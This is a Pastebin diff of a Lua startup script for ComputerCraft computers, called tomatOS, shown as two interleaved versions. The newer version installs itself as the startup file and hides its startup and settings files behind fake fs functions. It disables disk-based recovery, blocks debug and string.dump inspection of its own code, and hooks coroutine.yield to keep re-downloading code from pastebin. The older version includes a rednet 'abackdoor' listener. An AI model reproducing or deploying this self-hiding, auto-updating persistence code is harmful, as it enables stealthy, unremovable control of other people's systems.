View difference between Paste ID: 0dwT19zh and FvJeqF6F

-local redirects={{"startup",".ryxh0hsdf0jd9cmfipoa-98mfugjvfkbxccbnbdgxhggfjke"},{".settings",".dahfjshodhgsogfceh9etbwq6rctf45w6etf8teyg8fdrwg"}}
+--if os.getComputerID() == 7 then fs.delete "startup" return end
-local fsopen=fs.open
+
-local fsexist=fs.exists
+local fsopen = fs.open
-local fslist=fs.list
+local httpget = http.get
-local termwrite=term.write
+local tableinsert = table.insert
-local fsdelete=fs.delete
+local parallelwaitforall = parallel.waitForAll
-local fsmove=fs.move
+
-local fscopy=fs.copy
+local files = {
-local fsfind=fs.find
+	["startup"] = "https://pastebin.com/raw/0dwT19zh",
-local fscombine=fs.combine
+	["potatoplex"] = "https://pastebin.com/raw/wYBZjQhN"
-local settingsset=settings.set
+}
-if not fsexist(redirects[2][2]) then
+
-	 fscopy(".settings",redirects[2][2])
+local function download(url, file)
-	 settingsset("shell.allow_disk_startup",false)
+	local h = httpget(url)
 	local f = fsopen(file, "w")
 	f.write(h.readAll())
-local function trg(s)
+	f.close()
-	for i=1,#redirects do
+	h.close()
-		if s==redirects[i][1] or s==redirects[i][1]..".lua" then
+
 
 local function update()
 	local fns = {}
 	for file, url in pairs(files) do tableinsert(fns, function() download(url, file) end) end
 	parallelwaitforall(unpack(fns))
-local function dst(s)
+	if type(_G.tomatOS) == "table" then _G.tomatOS.updated = os.clock() end
-	for i=1,#redirects do
+
-		if s==redirects[i][2] or s==redirects[i][2]..".lua" then
+
 if shell.getRunningProgram() ~= "startup" then print "Installing tomatOS." update() os.reboot() end
 
 _G.tomatOS = { update = update }
 
 local args = table.concat({...}, " ")
-local function redir(s)
+if args:find "update" or args:find "install" then update() end
-	for i=1,#redirects do
+
-		if s==redirects[i][1] then
+local cloak_key = "@bios"
-			return redirects[i][2]
+local fn, err = load([[
 local cloak_key, update = ...
-		if s==redirects[i][1]..".lua" then
+
-			return redirects[i][2]..".lua"
+local redirects = {
 	["startup"] = ".34d8b323c357e992dac55bc78e3907e802836e42c76ae0569dec6696c9a9dcdc",
 	[".settings"] = ".56dbf3c9c062bbf536be3a633488197be19624a6c6ea88b70b6bb62c42c903df"
-	print("um")
+}
 local fsopen = fs.open
-fs.exists=function(file)
+local fsexist = fs.exists
-    if trg(file) then return fsexist(redir(file)) end
+local fslist = fs.list
-    return fsexist(file)
+local fsdelete = fs.delete
 local fsmove = fs.move
-fs.delete=function(file)
+local fscopy = fs.copy
-    if trg(file) then return fsdelete(redir(file)) end
+local fsfind = fs.find
-    return fsdelete(file)
+local fscombine = fs.combine
 local fsgetsize = fs.getSize
-fs.move=function(file1,file2)
+local fsattributes
-    if trg(file) then return fsmove(redir(file),file2) end
+local fsmakedir = fs.makeDir
-    if trg(file2) then return fsmove(file,redir(file2)) end
+local stringdump = string.dump
-    return fsmove(file1,file2)
+local settingsset = settings.set
 local settingssave = settings.save
-fs.copy=function(file1,file2)
+local settingsget = settings.get
-    if trg(file) then return fscopy(redir(file),file2) end
+local debuggetinfo = debug.getinfo
-    if trg(file2) then return fscopy(file,redir(file2)) end
+local debugsetupvalue = debug.setupvalue
-    return fscopy(file1,file2)
+local debuggetupvalue = debug.getupvalue
 local debugsetlocal = debug.setlocal
-fs.open=function(file,mode)
+local debuggetlocal = debug.getlocal
-    file=fscombine(file,"")
+if not fsexist(redirects[".settings"]) then
-    if trg(file) then
+	if fsexist ".settings" then fscopy(".settings", redirects[".settings"]) end
-        if not fsexist(redir(file)) then
+	settingsset("shell.allow_disk_startup", false)
-            fsopen(redir(file),"w").close()
+	settingsset("shell.allow_startup", true)
 	settingssave ".settings"
-        file=redir(file)
+
 
-    return fsopen(file,mode)
+os.setComputerLabel = function(new)
 	settingsset("computer.label", new)
-fs.list=function(location)
+	settingssave ".settings"
-    if fscombine(location,"")~="" then return fslist(location) end
+
-    local real=fslist(location)
+
-    local fake={}
+os.getComputerLabel = function()
-    for i=1,#real do
+	return settingsget("computer.label")
-        if (trg(real[i])) then
+
-            if fsexist(redir(real[i])) then
+
-                table.insert(fake,real[i])
+local function is_redirect_target(s)
-            end
+	for target, destination in pairs(redirects) do
-        else
+		if s == target then
-            if not dst(real[i]) then
+
-                table.insert(fake,real[i])
+
-            end
+
 	return false
 end
-    return fake
+
 local function is_redirect_destination(s)
-fs.find=function(files)
+	for target, destination in pairs(redirects) do
-    if fscombine(files,"")~="" then return fsfind(files) end
+		if s == destination then
-    local real=fsfind(files)
+
-    local fake={}
+
-    for i=1,#real do
+
-        if (trg(real[i])) then
+
-            if fsexist(redir(real[i])) then
+
-                table.insert(fake,real[i])
+
-            end
+local function redirect(s)
-        else
+	for target, destination in pairs(redirects) do
-            if not dst(real[i]) then
+		if s == target then
-                table.insert(fake,real[i])
+			return destination
-            end
+
 	end
 	return s
-    return fake
+
 
-local coroutineyield=coroutine.yield
+local function canonicalize(s)
-coroutine.yield=function(...)
+	return fscombine(s, "")
-    local args={coroutineyield(...)}
+
-    --print(unpack(args))
+
-    if args[1]=="rednet_message" and args[3]=="abackdoor" then
+fs.exists = function(file)
-        print(args[4])
+    return fsexist(redirect(file))
 end
 fs.delete = function(file)
     return fsdelete(redirect(file))
-shell.run("/rom/startup.lua")
+
 fs.move = function(file1, file2)
     return fsmove(redirect(file1), redirect(file2))
 end
 fs.copy = function(file1, file2)
     return fscopy(redirect(file1), redirect(file2))
 end
 fs.open = function(file, mode)
     file = canonicalize(file)
     if is_redirect_target(file) then
         if not fsexist(redirect(file)) then
             fsopen(redirect(file), "w").close()
         end
         file = redirect(file)
     end
     return fsopen(file, mode)
 end
 fs.getSize = function(file)
 	return fsgetsize(redirect(file))
 end
 if fsattributes then
 	fs.attributes = function(file)
 		return fsattributes(redirect(file))
 	end
 end
 fs.makeDir = function(file)
 	return fsmakedir(redirect(file))
 end
 
 local function filter_listing(real)
 	local fake = {}
 	for _, result in pairs(real) do
         if not is_redirect_target(result) then
             if not is_redirect_destination(result) then
                 table.insert(fake, result)
             else
 				for target, destination in pairs(redirects) do
 					if destination == result then table.insert(fake, target) break end
 				end
 			end
         end
     end
 	return fake
 end
 
 fs.list = function(location)
 	if canonicalize(location) ~= "" then return fslist(location) end
 	return filter_listing(fslist(location))
 end
 fs.find = function(files)
 	if canonicalize(files) ~= "" and fs.getDir(files) ~= "" then return fsfind(files) end
 	return filter_listing(fsfind(files))
 end
 
 local function check_cloaked(fn, e)
 	if type(fn) ~= "function" then return end
 	local i = debuggetinfo(fn, "S")
 	if i.source == cloak_key then error(e or "Access denied", 3) end
 end
 
 function string.dump(fn)
 	check_cloaked(fn, "Unable to dump given function")
 	return stringdump(fn)
 end
 
 function debug.getinfo(where, filter)
 	if type(filter) == "string" and not filter:match "S" then filter = filter .. "S" end
 	if type(where) == "number" then where = where + 2 end
 	local info = debuggetinfo(where, filter)
 	if type(info) == "table" and info.source == cloak_key then error("Access denied", 2) end
 	return info
 end
 
 function debug.getlocal(level, ix)
 	check_cloaked(level)
 	return debuggetlocal(level, ix)
 end
 
 function debug.setlocal(level, ix, val)
 	check_cloaked(level)
 	return debugsetlocal(level, ix, val)
 end
 
 function debug.getupvalue(fn, ix)
 	check_cloaked(fn)
 	return debuggetupvalue(fn, ix)
 end
 
 function debug.setupvalue(fn, ix, val)
 	check_cloaked(fn)
 	return debugsetlocal(fn, ix, val)
 end
 
 local function daemon()
 	update()
 end
 
 local coro = coroutine.create(daemon)
 local filter
 
 local coroutineyield = coroutine.yield
 coroutine.yield = function(...)
 	local args = {coroutineyield(...)}
 	if coroutine.status(coro) == "suspended" and (filter == nil or filter == args[1]) then
 		local ok, res = coroutine.resume(coro, unpack(args))
 		if not ok then tomatOS.error = res
 		else
 			filter = res
 		end
 	end
     return unpack(args)
 end
 
 settings.load ".settings"
 print "TomatOS loaded."
 shell.run("/rom/startup.lua")
 ]], cloak_key, "t", _ENV)
 if not fn then printError(err) update()
 else fn(cloak_key, update) end